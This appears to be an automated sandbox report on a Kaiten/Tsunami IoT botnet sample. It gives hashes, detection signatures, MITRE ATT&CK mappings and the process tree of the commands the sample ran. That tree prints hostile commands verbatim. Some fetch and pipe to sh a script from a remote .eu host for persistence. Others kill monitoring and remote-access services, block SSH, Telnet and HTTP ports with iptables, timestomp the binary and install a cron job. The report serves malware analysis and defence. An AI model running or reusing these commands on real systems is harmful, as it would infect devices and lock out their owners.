kaiten | 84e502b8332b69daf009cd2e03ec372f2e037cd6477483f4d0cfa4779e21381d

Analysis

max time kernel
150s
max time network
152s
platform
debian-12_mipsel
resource
debian12-mipsel-20240418-en
resource tags

arch:mipselimage:debian12-mipsel-20240418-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
submitted
30-07-2024 18:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
Size

38KB
MD5

7980ffb3ad788b73397ce84b1aadf99b
SHA1

5a72a4c4fc960458c2efaf37142b5f78eb99039f
SHA256

84e502b8332b69daf009cd2e03ec372f2e037cd6477483f4d0cfa4779e21381d
SHA512

e78c81a26c1ff2e10c323974f4d371bd21134d6471ae6e0669d2d18f42d4ac6daf2026094186c712acbd24f45917fba14f8577a4f6564324c039fcc449d1ae31
SSDEEP

768:XadvhPGfQ+v/tqHOLkTT1ziJbaTfmKNj/qiq8TZ/aWCdSOuGe:OP2/tr6xUSfpNj7PKSBP

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/743-1-0x00400000-0x10001560-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Writes DNS configuration 1 TTPs 2 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
File opened for modification	/etc/resolv.conf	sh
File opened for modification	/etc/resolv.conf	sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.PgrS9a	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/119/stat	killall
File opened for reading	/proc/387/stat	killall
File opened for reading	/proc/7	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/32/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/12	killall
File opened for reading	/proc/37	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/711/stat	killall
File opened for reading	/proc/25	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/751	killall
File opened for reading	/proc/35	killall
File opened for reading	/proc/834/stat	killall
File opened for reading	/proc/33	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/58/stat	killall
File opened for reading	/proc/718	killall
File opened for reading	/proc/873/stat	killall
File opened for reading	/proc/117	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/387	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/202	killall
File opened for reading	/proc/58	killall
File opened for reading	/proc/885	killall
File opened for reading	/proc/181	killall
File opened for reading	/proc/672	killall
File opened for reading	/proc/4	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/34/stat	killall
File opened for reading	/proc/138/cmdline	killall
File opened for reading	/proc/20	killall
File opened for reading	/proc/676/stat	killall
File opened for reading	/proc/181	killall
File opened for reading	/proc/10	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/111	killall
File opened for reading	/proc/379	killall
File opened for reading	/proc/822/stat	killall
File opened for reading	/proc/379/stat	killall
File opened for reading	/proc/711/stat	killall
File opened for reading	/proc/835	killall
File opened for reading	/proc/1	killall
File opened for reading	/proc/820/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/17	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/117	killall
File opened for reading	/proc/676	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/262	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/35	killall
File opened for reading	/proc/751	killall
File opened for reading	/proc/112	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/676/stat	killall

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/udevd0.pid	7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118

/tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
/tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:743
- /bin/sh
  sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
  2⤵
  PID:744
- /bin/sh
  sh -c "killall -9 strace > /dev/null 2>&1 &"
  2⤵
  PID:747
- /bin/sh
  sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
  2⤵
  PID:750
- /bin/sh
  sh -c "nvram commit > /dev/null 2>&1"
  2⤵
  PID:753
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
  2⤵
  PID:755
- /bin/sh
  sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
  2⤵
  PID:761
- - /usr/bin/chmod
    chmod 755 /etc/persistent/rc.poststart
    3⤵
    PID:762
- /bin/sh
  sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
  2⤵
  PID:765
- /bin/sh
  sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
  2⤵
  PID:766
- /bin/sh
  sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:770
- - /usr/bin/grep
    grep -v derpcity
    3⤵
    PID:776
- - /usr/bin/grep
    grep -v wireless
    3⤵
    PID:777
- - /usr/bin/cat
    cat /mnt/Config/S1_01timezone
    3⤵
    PID:775
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:779
- /bin/sh
  sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
  2⤵
  PID:783
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:786
- /bin/sh
  sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
  2⤵
  PID:790
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:793
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:796
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:800
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:803
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:807
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:811
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:814
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:819
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:826
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:831
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:838
- - /usr/bin/cat
    cat /var/run/thttpd.pid
    3⤵
    PID:842
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:841
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:845
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:847
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:850
- - /usr/bin/cat
    cat /var/run/httpd.pid
    3⤵
    PID:854
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:853
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:856
- /bin/sh
  sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:858
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:860
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:862
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:864
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:866
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:868
- /bin/sh
  sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:870
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:872
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:874
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:876
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:878
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:880
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:882
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:884
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:886
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:888
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:890
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:892
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:894
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:896
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:898
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:900
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:902
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:904
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:906
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:908
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:910
- /bin/sh
  sh -c "chmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118 > /dev/null 2>&1 &"
  2⤵
  PID:912
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118"
  2⤵
  PID:914
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
    3⤵
    PID:915
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:916
- - /usr/bin/grep
    grep -v /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
    3⤵
    PID:919
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:918
- - /usr/bin/grep
    grep -v "no cron"
    3⤵
    PID:920
- - /usr/bin/grep
    grep -v lesshts/run.sh
    3⤵
    PID:921
- /bin/sh
  sh -c "echo \"* * * * * /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:922
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:923
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:924
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:925
- - /usr/bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:926
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:928
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:929
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:930
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:931

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:746

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:749

/usr/bin/rm
rm -rf /var/run/pty
1⤵
PID:789

/usr/bin/rm
rm -rf /tmp/pty
1⤵
PID:792

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:799

/usr/sbin/service
service httpd stop
1⤵
PID:802
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:808
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:812
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:821
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:822

/usr/sbin/service
service telnetd stop
1⤵
PID:806
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:810
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:815
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:828
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:827

/usr/sbin/service
service sshd stop
1⤵
PID:809
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:816
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:829
- /usr/bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  PID:834
- /usr/bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:835

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:813

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:818

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:824

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:830

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:837

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:849

/usr/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:855

/usr/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:857

/usr/bin/rm
rm -rf /var/run/tty1
1⤵
PID:859

/usr/bin/rm
rm -rf /var/run/tty2
1⤵
PID:861

/usr/bin/rm
rm -rf /var/run/tty3
1⤵
PID:863

/usr/bin/rm
rm -rf /var/run/tty4
1⤵
PID:865

/usr/bin/rm
rm -rf /var/run/tty5
1⤵
PID:867

/usr/bin/rm
rm -rf /var/run/tty6
1⤵
PID:869

/usr/bin/rm
rm -rf /tmp/tty1
1⤵
PID:871

/usr/bin/rm
rm -rf /tmp/tty2
1⤵
PID:873

/usr/bin/rm
rm -rf /tmp/tty3
1⤵
PID:875

/usr/bin/rm
rm -rf /tmp/tty4
1⤵
PID:877

/usr/bin/rm
rm -rf /tmp/tty5
1⤵
PID:879

/usr/bin/rm
rm -rf /tmp/tty6
1⤵
PID:881

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:883

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:885

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:887

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:889

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:891

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:893

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:895

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:897

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:899

/usr/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:901

/usr/bin/chmod
chmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b_JaffaCakes118
1⤵
PID:913

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:806

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:806

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:806

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:806

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:802

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:802

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:802

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:802

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:809

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:809

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:809

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00

Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383

Filesize
81B

MD5
39201368ef1e3ed03c900779d03807e9

SHA1
ec713e4f560742f1b150db88c6171fdece176365

SHA256
0ec75949c2155cf1cba70a2a49103e0287a4ae69c3a2d49abf4b870125ed0961

SHA512
38772e0cb6ff18a08e8cc743bb0c039bb57ff04bb02ff67759b2b0573b213ad84a2a1d03b2c31dfceb1cd2aef30d3357fb68f6f70ac4d7a946c85c965aa6b7e6

Download Submit
/var/spool/cron/crontabs/tmp.PgrS9a

Filesize
278B

MD5
9736c766e2d37987b9cd8a83c40877e3

SHA1
af70a76fc56365576c945e85733fd9b45549c35c

SHA256
c8170307a57c3e401ebeedc0b10d709e7b1125b2e544fb1334187deb9c7321e5

SHA512
799b8bc8b5b496afda21e4115da5e5448f896bdf61ea2f9630f5d627b31739e077295be4d34bf4070ddbd63b73e611430b676f68383833134f15e274624cf5c0

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads